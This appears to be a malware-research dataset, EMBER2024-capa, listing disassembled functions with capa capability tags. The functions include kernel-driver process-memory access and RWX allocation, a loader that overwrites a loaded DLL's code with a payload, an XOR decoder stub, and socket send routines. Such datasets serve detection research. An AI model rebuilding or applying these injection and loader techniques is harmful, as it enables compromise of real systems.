joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Find process by pid
Print debug messages

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x30
and qword [rsp + 0x48], 0
lea rdx, [rsp + 0x48]
mov rdi, rcx
movsxd rcx, dword [rcx]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jns 0x14000103d
lfence
lea rcx, [0x140001a30]
mov edx, ebx
call sub.ntoskrnl.exe_DbgPrint
jmp 0x1400010cb
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_KeAttachProcess]
mov rax, qword [rdi + 0x10]
lea r9, [rsp + 0x50]
and qword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov eax, dword [rdi + 0x18]
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0x3000
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov rdx, qword [rsp + 0x50]
mov r8d, 4
mov rcx, qword [rsp + 0x40]
mov ebx, eax
call qword [sym.imp.ntoskrnl.exe_MmSecureVirtualMemory]
lfence
test ebx, ebx
jns 0x1400010a5
lea rcx, [0x140001ad0]
jmp 0x140001031
mov rdx, qword [rsp + 0x40]
lea rcx, [0x140001b00]
mov qword [rdi + 8], rdx
call sub.ntoskrnl.exe_DbgPrint
call qword [sym.imp.ntoskrnl.exe_KeDetachProcess]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x1400010d8
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rdi
sub rsp, 0x40
and qword [rax + 0x10], 0
lea rdx, [rax + 8]
and qword [rax + 8], 0
mov rbx, rcx
movsxd rcx, dword [rcx]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov edi, eax
test eax, eax
jns 0x140001119
lfence
mov edx, eax
lea rcx, [0x140001a30]
call sub.ntoskrnl.exe_DbgPrint
mov eax, edi
jmp 0x140001190
cmp byte [rbx + 0x20], 0
mov rdi, qword [rbx + 0x18]
je 0x14000113b
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov r9, qword [rbx + 8]
mov rcx, rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rbx + 0x10]
jmp 0x140001151
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov r9, qword [rbx + 0x10]
mov r8, rax
mov rdx, qword [rbx + 8]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
call sub.ntoskrnl.exe_MmCopyVirtualMemory
mov ebx, eax
lfence
test eax, eax
jns 0x140001183
mov edx, eax
lea rcx, [0x140001a60]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x14000118e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1400012c8
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x20
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rdi, rcx
movsxd rcx, dword [rcx]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jns 0x140001302
lfence
lea rcx, [0x140001a30]
mov edx, ebx
call sub.ntoskrnl.exe_DbgPrint
jmp 0x140001348
mov rax, qword [rdi + 8]
lea r8, [rsp + 0x38]
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x40]
mov r9d, 0x8000
mov qword [rsp + 0x40], rax
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
mov ebx, eax
lfence
test eax, eax
jns 0x14000133d
lea rcx, [0x140001b20]
jmp 0x1400012f9
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140001358
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
lea rdx, [rax + 8]
movsxd rcx, dword [rcx]
xor esi, esi
mov qword [rax + 8], rsi
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
lfence
test eax, eax
jns 0x14000139a
mov edx, eax
lea rcx, [0x140001a30]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x14000143d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_KeAttachProcess]
xorps xmm0, xmm0
lea r8, [0x140001bd0]
movups xmmword [rsp + 0x20], xmm0
mov rax, r8
mov ecx, 0x7fff
mov edx, 2
cmp word [rax], si
je 0x1400013d1
add rax, rdx
sub rcx, 1
jne 0x1400013c1
jmp 0x1400013ee
add cx, cx
mov qword [rsp + 0x28], r8
mov eax, 0xfffe
sub ax, cx
mov word [rsp + 0x20], ax
add ax, dx
mov word [rsp + 0x22], ax
mov rdx, qword [rsp + 0x50]
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140001450
lea rcx, [0x140001b00]
movups xmm0, xmmword [rax]
movq qword [rdi + 8], xmm0
psrldq xmm0, 8
movd dword [rdi + 0x10], xmm0
movd dword [0x140003030], xmm0
mov rdx, qword [rdi + 8]
call sub.ntoskrnl.exe_DbgPrint
call qword [sym.imp.ntoskrnl.exe_KeDetachProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rsi, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140001450
Capabilities:
Attach user process memory
Print debug messages

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r14, r8
mov rdi, rdx
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
and qword [rcx], 0
and dword [rcx + 8], 0
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
nop
and dword [rsp + 0x28], 0
mov qword [rsp + 0x28], 0xffffffffffd9da60
mov rcx, rdi
call sub.ntoskrnl.exe_PsGetProcessPeb
mov rsi, rax
test rax, rax
jne 0x1400014e0
lea rcx, [0x140001b50]
call sub.ntoskrnl.exe_DbgPrint
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, rbx
jmp 0x14000159b
xor edi, edi
mov dword [rsp + 0x20], edi
mov rax, qword [rsi + 0x18]
test rax, rax
jne 0x140001528
cmp edi, 0xa
jge 0x140001513
lea rcx, [0x140001b60]
call sub.ntoskrnl.exe_DbgPrint
lea r8, [rsp + 0x28]
mov dl, 1
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
inc edi
jmp 0x1400014e2
test rax, rax
jne 0x140001528
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, rbx
jmp 0x14000159b
mov rdi, qword [rax + 0x10]
mov rax, qword [rsi + 0x18]
add rax, 0x10
cmp rdi, rax
je 0x14000156d
lea rcx, [rdi + 0x58]
mov r8b, 1
mov rdx, r14
call qword [sym.imp.ntoskrnl.exe_RtlCompareUnicodeString]
test eax, eax
jne 0x140001568
lea rcx, [0x140001b80]
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [rdi + 0x30]
mov qword [rbx], rax
mov eax, dword [rdi + 0x40]
mov dword [rbx + 8], eax
jmp 0x14000156d
mov rdi, qword [rdi]
jmp 0x14000152c
jmp 0x14000158d
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, rbx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400018a0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x70
pop r14
pop rdi
pop rsi
ret
Function at 0x140001724
Capabilities:
Allocate or change rwx memory
Attach user process memory
Find process by pid
Print debug messages

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
and qword [rbp - 0x50], 0
lea rdx, [rbp - 0x50]
xorps xmm0, xmm0
mov rdi, rcx
movsxd rcx, dword [rcx]
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jns 0x140001784
lfence
lea rcx, [0x140001a30]
mov edx, ebx
call sub.ntoskrnl.exe_DbgPrint
jmp 0x1400017e5
mov rcx, qword [rbp - 0x50]
lea rdx, [rbp - 0x38]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, qword [rdi + 8]
lea r8, [rbp - 0x48]
and qword [rsp + 0x20], 0
lea rdx, [rbp - 0x40]
mov qword [rbp - 0x40], rax
mov r9d, 0x40
mov rax, qword [rdi + 0x10]
or rcx, 0xffffffffffffffff
mov qword [rbp - 0x48], rax
call sub.ntoskrnl.exe_ZwProtectVirtualMemory
mov ebx, eax
lfence
test eax, eax
jns 0x1400017d1
lea rcx, [0x140001a90]
jmp 0x14000177b
lea rcx, [rbp - 0x38]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400018a0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400017e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x14000e028]
xor rax, rsp
mov qword [rbp + 0x10], rax
lea rcx, [rsp + 0x44]
xor edx, edx
mov r8d, 0xa8
mov dword [rsp + 0x40], 0
call fcn.1400055b0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
cmp dword [rsp + 0x40], 0xfffffe20
je 0x140001842
xor eax, eax
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140001d20
add rsp, 0x120
pop rbp
ret
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0x140], rdi
lea rdi, [rbp]
mov dword [rbp], 0x2e646c6c
mov dword [rbp + 4], 0x68747470
mov dword [rbp + 8], 0x57696e
repne scasb al, byte [rdi]
not rcx
dec rcx
mov eax, ecx
movsxd rdi, ecx
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle 0x1400018b6
lea rdx, [rbp]
lea rdi, [rbp + rdi - 1]
mov r8d, eax
nop dword [rax + rax]
movzx eax, byte [rdi]
movzx ecx, byte [rdx]
dec rdi
mov byte [rdx], al
mov byte [rdi + 1], cl
inc rdx
dec r8
jne 0x1400018a0
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [rsp + 0x28]
mov rdx, rax
call fcn.140001050
mov rbx, qword [rax]
mov rsi, qword [rax + 8]
test rbx, rbx
je 0x140001997
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x10]
mov dword [rbp - 0x10], 0x2e646c6c
mov dword [rbp - 0xc], 0x68656c70
mov dword [rbp - 8], 0x646267
repne scasb al, byte [rdi]
not rcx
dec rcx
mov eax, ecx
movsxd rdi, ecx
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle 0x140001936
lea rdx, [rbp - 0x10]
lea rdi, [rbp + rdi - 0x11]
mov r8d, eax
nop
movzx eax, byte [rdi]
movzx ecx, byte [rdx]
dec rdi
mov byte [rdx], al
mov byte [rdi + 1], cl
inc rdx
dec r8
jne 0x140001920
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r9, [rsp + 0x20]
mov rdx, rsi
test rax, rax
je 0x14000197e
lea rdi, [rax + 0x1000]
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.140001f00
mov rcx, rbx
call fcn.14000223c
mov rcx, rdi
jmp 0x140001992
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x1000
call fcn.14000258c
xor ecx, ecx
call fcn.140002904
mov rdi, qword [rsp + 0x140]
mov rsi, qword [rsp + 0x138]
mov rbx, qword [rsp + 0x130]
int3

Function at 0x140002904
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140002774
Function at 0x140002bbb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000e028]
jne 0x140001d3a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001d36
repz ret
ror rcx, 0x10
jmp 0x140002b14
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000f110]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000f208]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002b99
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000f110]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140002bbb
mov rax, qword [rsp + 0x88]
mov qword [0x14000f208], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000f1a8], rax
mov rax, qword [0x14000f208]
mov qword [0x14000f080], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000f190], rax
mov dword [0x14000f070], 0xc0000409
mov dword [0x14000f074], 1
mov rax, qword [0x14000e028]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000e030]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000f108], eax
mov ecx, 1
call fcn.140004e10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000a300]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000f108], 0
jne 0x140002c42
mov ecx, 1
call fcn.140004e10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140004f18
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000e028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140003e30
xor ebx, ebx
cmp qword [0x140010028], rbx
mov rdi, rax
jne 0x14000502b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140005102
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140005102
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140010028], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140010030], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140010038], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140010048], rax
test rax, rax
je 0x140005022
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140010040], rax
jmp 0x140005032
mov rax, qword [0x140010040]
jmp 0x140005039
mov rax, qword [0x140010040]
mov r11, qword [0x140010048]
cmp rax, rdi
je 0x1400050a0
cmp r11, rdi
je 0x1400050a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140010048]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400050a0
test rax, rax
je 0x1400050a0
call rsi
test rax, rax
je 0x14000509a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000509a
test byte [rsp + 0x40], 1
jne 0x1400050a0
bts ebp, 0x15
jmp 0x1400050e0
mov rcx, qword [0x140010030]
cmp rcx, rdi
je 0x1400050e0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400050e0
call rax
mov rbx, rax
test rax, rax
je 0x1400050e0
mov rcx, qword [0x140010038]
cmp rcx, rdi
je 0x1400050e0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400050e0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140010028]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005102
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140005104
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001d20
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001e94
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ede
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ede
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ede
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ede
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ede
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ee0
xor al, al
add rsp, 0x28
ret
Function at 0x14002943c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cb04
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cb04
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002958c
cmp rax, 0xffffffffffffffff
je 0x14002958c
xor edi, edi
test rbp, rbp
jle 0x140029537
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f430
mov rbx, rax
test rax, rax
jne 0x1400294c4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002952d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a438
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d7e0
cmp eax, 0xffffffff
je 0x14002950d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400294d4
mov edx, r15d
mov ecx, r14d
call fcn.14001a438
jmp 0x14002952d
cmp byte [rsi + 0x38], dil
je 0x140029524
cmp dword [rsi + 0x34], 5
jne 0x140029524
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002952d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b1cc
jmp 0x1400295a0
jns 0x1400295a0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cb04
cmp rax, 0xffffffffffffffff
jne 0x140029558
cmp byte [rsi + 0x30], dil
je 0x1400295a0
mov edi, dword [rsi + 0x2c]
jmp 0x1400295a0
mov ecx, r14d
call fcn.1400188f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400295a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400295a0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029599
mov eax, dword [rsi + 0x2c]
jmp 0x14002959e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cb04
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140765740
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14076574a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140765773
pop rbp
sub rbp, 0x33
sub rbp, 0x765740
sub rsp, 0x20
jmp 0x140765792
mov rax, 0x765740
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0xffffffffa2bf4d50
xor byte [rax], dl
inc rax
dec rcx
jne 0x1407657b1
jmp 0x1407657c8
sbb cl, bl
mov ecx, 0x506cd9db
push rax
push rax
sbb cl, dl
xchg ecx, eax
pop rax
push rcx
push rax
push rax
sbb byte [rcx - 0x47], dl
sbb byte [rdi + 0x50505890], dl
push rax
sbb byte [rdi + 0x50507892], dl
push rax
sbb byte [rdi - 0x6eaee74e], ah
fcmovnbe st(0), st(1)
pop rsp
push rax
push rax
push rax
sbb byte [rcx - 0x48], dl
add byte [rax], al
sbb al, ch
sbb byte [rbx], 0x46
push rax
push rax
push rax
push rax
push rax
sbb cl, ch
invalid
Function at 0x180001080
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r15
sub rsp, 0x28
mov qword [rsp + 0x60], r13
xor r15d, r15d
mov qword [rsp + 0x20], r14
mov r13d, r9d
mov edi, r8d
mov r14, rdx
mov rbx, rcx
cmp qword [rcx + 8], r15
jne 0x1800010ae
mov eax, r15d
jmp 0x1800010b4
mov eax, dword [rcx + 0x10]
sub eax, dword [rcx + 8]
lea ecx, [rax + rdi]
mov qword [rsp + 0x50], rbp
cmp ecx, dword [rbx + 0x18]
jb 0x18000114d
pxor xmm0, xmm0
mov eax, ecx
mov qword [rsp + 0x58], r12
cvtsi2sd xmm0, rax
mulsd xmm0, qword [0x180014850]
call fcn.18000f500
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
cvttsd2si rbp, xmm0
shl ebp, 0xa
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbx + 8]
mov rsi, rax
test rdx, rdx
jne 0x18000110f
mov ecx, r15d
jmp 0x180001114
mov ecx, dword [rbx + 0x10]
sub ecx, edx
mov r12d, ecx
mov r8d, ecx
mov rcx, rax
call fcn.180003540
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001139
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rax, [r12 + rsi]
mov r12, qword [rsp + 0x58]
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], ebp
mov rcx, qword [rbx + 0x10]
mov r8, rdi
mov rdx, r14
call fcn.180003540
mov r14, qword [rsp + 0x20]
test r13d, r13d
mov r13, qword [rsp + 0x60]
je 0x1800011ce
mov r10d, r15d
mov r9, r15
mov r11, r15
test edi, edi
jle 0x1800011ce
mov rbp, qword [rsp + 0x70]
nop dword [rax]
movzx ecx, byte [r9 + rbp]
mov r8, qword [rbx + 0x10]
inc r9
mov eax, 0x3a33d62b
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x233
sub ecx, edx
mul r10d
add cl, 0x37
xor byte [r11 + r8], cl
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r10d, ecx
cmove r9, r15
inc r10d
inc r11
cmp r10d, edi
jl 0x180001180
add qword [rbx + 0x10], rdi
mov rbp, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x28
pop r15
pop rdi
pop rsi
pop rbx
ret
Function at 0x1800012f0
Capabilities:
Initialize winsock library

Disassembly:
push rdi
sub rsp, 0x1e0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x1f8], rbx
mov rax, qword [0x1800171e0]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
lea rax, vtable.CBuffer.0
mov qword [rcx], rax
xor edi, edi
mov dword [rcx + 0x18], edi
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x20], rax
mov dword [rcx + 0x38], edi
mov qword [rcx + 0x28], rdi
mov qword [rcx + 0x30], rdi
mov qword [rcx + 0x40], rax
mov dword [rcx + 0x58], edi
mov qword [rcx + 0x48], rdi
mov qword [rcx + 0x50], rdi
mov qword [rcx + 0x7c], rdi
mov dword [rcx + 0x84], edi
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x88], rax
mov ecx, edi
xchg dword [rbx + 0x94], ecx
mov qword [rbx + 0x70], 0xffffffffffffffff
mov qword [rbx + 0x60], rdi
mov qword [rbx + 0x68], rdi
mov dword [rbx + 0x90], edi
mov ecx, 0xfa000
call fcn.1800034f8
mov qword [rbx + 0xb0], rax
mov byte [rbx + 0x78], dil
mov rax, rbx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.180003510
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1e0
pop rdi
ret

Function at 0x180001550
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x94], 0
mov rbx, rcx
mov byte [rcx + 0x78], 0
je 0x1800015c6
xor edx, edx
lea r9, [rsp + 0x40]
mov r8d, 0x80
mov eax, edx
mov edx, 0xffff
mov dword [rsp + 0x20], 4
xchg dword [rcx + 0x94], eax
mov rcx, qword [rcx + 0x70]
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbx + 0x70]
call qword [sym.imp.KERNEL32.dll_CancelIo]
mov rcx, qword [rbx + 0x70]
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbx + 0x88]
call qword [sym.imp.KERNEL32.dll_SetEvent]
add rsp, 0x30
pop rbx
ret
Function at 0x180001e70
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
mov rdi, rcx
mov r12d, r8d
mov r13d, esi
cmp r8d, 0xfa000
jl 0x180001efe
nop dword [rax + rax]
mov ebx, esi
cmp dword [rdi + 0x94], esi
je 0x180001f60
mov rcx, qword [rdi + 0x70]
xor r9d, r9d
mov r8d, 0xfa000
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180001edf
inc ebx
cmp ebx, 0xf
jl 0x180001eb2
